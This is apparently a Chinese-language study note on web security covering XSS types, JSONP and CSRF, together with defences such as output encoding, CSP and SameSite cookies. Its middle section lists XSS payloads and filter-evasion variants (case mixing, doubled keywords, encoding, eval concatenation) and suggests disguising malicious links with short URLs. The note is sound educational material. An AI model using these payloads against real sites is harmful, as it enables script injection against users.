# XSS
# 反射型
非持久型XSS,payload直接在URL中构造,然后将恶意链接发送给用户
比如http://www.test.com/message.php?send=<script>alert(666)</script>
为了避免引起怀疑,还可以使用短链接替换

# 存储型
持久型XSS,payload存入了服务器的数据库,每当用户访问有漏洞的页面,服务器从数据库取出payload显示在浏览器中,就会触发恶意代码

# DOM型
DOM型XSS是特殊的反射型XSS,指的是因为使用了不安全的DOM属性而导致的反射型,例如document.location, document.URL, document.referrer等
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2, document.URL.length));
</script>
# JSONP
JSONP(JSON with Padding)是JSON的一种使用模式,可以使得页面从别的域名获取资源而不触发同源策略
JSONP需要以下两个方面配合实现:
- API服务器实现JSONP接口,正确响应回调函数
- 浏览器端在请求脚本中定义回调函数,并设置
callback参数指向该回调函数
// 浏览器端
<script>
function handleResponse(response) {
// 获取数据后的处理
}
</script>
<script src="http://api.server.com?callback=handleResponse"></script>
// 服务器端需要封装JSON为函数调用形式
handleResponse({
// json data
});
典型的JSONP XSS payload:
http://xx.com/jsonp?callback=alert`1`&data=test
# 基础payload
<script>alert(/XSS/)</script><img src=1 onerror=alert(/xss/)>:onerror属性<iframe onload=alert(/xss/)></iframe>:onload属性<link rel=import href="http://127.0.0.1/1.js">: 利用link远程包含文件<a href="javascript:alert('xss')">链接</a>: 伪协议<iframe src=javascript:alert('xss')></iframe>: 伪协议<img src="1.jpg" ondblclick="alert(/xss/)">:ondblclick属性<form action="javascript:alert(/xss/)"><input type=submit>
# 变形payload
过滤空格、关键字、单双引号,可以采用双写关键字、大小写混用、字符拼接、混淆等
<iMg/src="x"/oneRroR=alert("xss")>:/代替空格,大小写混用<iMg%0asrc="x"oneRroR=alert("xss")>:%0a代替空格<iMimgg/srsrcc="x"/oneRroR=alert("xss")>: 双写关键字img,src-
<iMg/src="x"/oneRroR="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"]('xss');</script>: 字符拼接<title><img src=</title>><img src=x onerror="alert('xss');"><a/HrEf='javaScript:alert(/xss/)'>click</a><iMg/src="x"/oneRroR="="alert("xs");">: Unicode编码绕过<iMgiMg/src="x"/oneRroR="eval(unescape('%61%6c%65%72%74%28%22%78%73%22%29%3b'))">: URL编码绕过<img src="x" onerror=document.location='//www.baidu.com'>://代替http://<img src="x" onerror=document.location='http://www。baidu。com'">:。代替.<img src="x" onerror=document.location='http://2130706433/'>: 十进制IP
# 防御
XSS攻击有两大要素:
- 攻击者提交恶意代码
- 浏览器执行恶意代码
因此根本的解决需要从输入到输出都进行过滤、转义
# 输入
最基本的HTMLEncode,将字符串转换为HTMLEntities(实体化转义): & < > " ' /
对于富文本输入,需要注意几个方面:
- 确保输入的是完整HTML,而不是有拼接的代码
- 通过
htmlparser能解析出HTML代码的标签、属性、事件 - 禁止所有事件,并禁止
<iframe><script><base><form>等危险标签 - 利用白名单,只允许安全标签如
<div><a><img>等,白名单不仅适用标签,也适用于属性 - 过滤用户CSS
# 输出
# HTML输出
HTMLEncode,与输入的转义相同
# JavaScript输出
JSONP 中可以通过意外截断 JSON 数据或者在页面中玩转引号来造成 XSS 攻击
let a = "get_param"
// get_param = ";alert(1);//
a = "";alert(1);//"
使用JavaScriptEncode转义,即使用\对特殊字符转义
# CSS输出
严格控制用户将变量输入至style标签,也不要引用未知的CSS文件
如果有特别的需求,可以使用如encodeForCSS()的编码函数
# URL输出
使用URLEncode
# 其他
# JSONP
- 严格定义
Content-Type: application/json,因为浏览器渲染依靠该字段值,标记为json时即使内容全是HTML标签,浏览器也不会渲染;只要接口返回的不是HTML,那么一定不要设置为HTML callback做长度限制,比如函数名限制50个字符内- 检测
callback内的字符,仅允许[,],a-zA-Z0-9_,$,. - 过滤,原理同转义
# Web安全头支持
- CSP(Content Secutiry Policy),可以用来定义页面可以加载哪些资源
X-Download-Options: noopen: 禁用下载框Open按钮X-Content-Type-Options: nosniff: 禁用IE8自动嗅探mime功能,如text/plain当成text/html渲染X-XSS-Protection: IE提供的一些XSS检测与防范,默认开启
# CSRF
利用受害者尚未失效的身份信息,诱骗其点击恶意链接,在不知情的情况下以其身份发起请求
# GET型
构造URL,诱导受害者访问

# POST型
构造自动提交或点击提交的表单,诱导受害者访问或点击

# 检测
抓取一个正常的请求数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞
如果有Referer字段,但是去掉以后重新提交依然有效,也可以判断存在CSRF
# 防御
# 阻止不明外部域名访问
# 同源检测
浏览器同源策略:协议、域名、端口都相同即同源
Cookie同源策略:域名相同即同源
浏览器发起请求时,一般会自动加上Origin和Referer两个Header,并且不能由前端修改,服务器可以靠这两个Header确定来源的域名
CSRF大多数来源于第三方域名,但也并不能排除本域发起,因此同源检测并不能完全阻止CSRF
# Samesite Cookie
Samesite属性用来限制第三方Cookie,有以下几种值:
Samesite = Strict: 完全禁止第三方Cookie,跨站点时任何情况都不发送CookieSamesite = Lax: 除了a链接、预加载请求和GET表单以外都不发送CookieSamesite = None: 关闭该属性,但同时必须设置Samesite = None; Secure
设置Strict或Lax基本就能阻止CSRF攻击
# CSRF Token
要求所有请求都携带一个无法被劫持的Token,达到防止CSRF的目的
- 用户打开页面时,服务器给用户生成一个
token,一般包括随机字符串和时间戳的组合,并使用算法加密 - 对于GET请求,直接附在URL之后,如
http://example.com?token=tokenValue - 对于POST请求,在表单后加上
<input type="hidden" name="token" value="tokenValue"> - 服务端首先解密
token,提取随机字符串和时间戳,验证字符串是否一致、时间是否有效
# GET请求幂等性
不要在GET请求中对数据进行修改,限制只能读取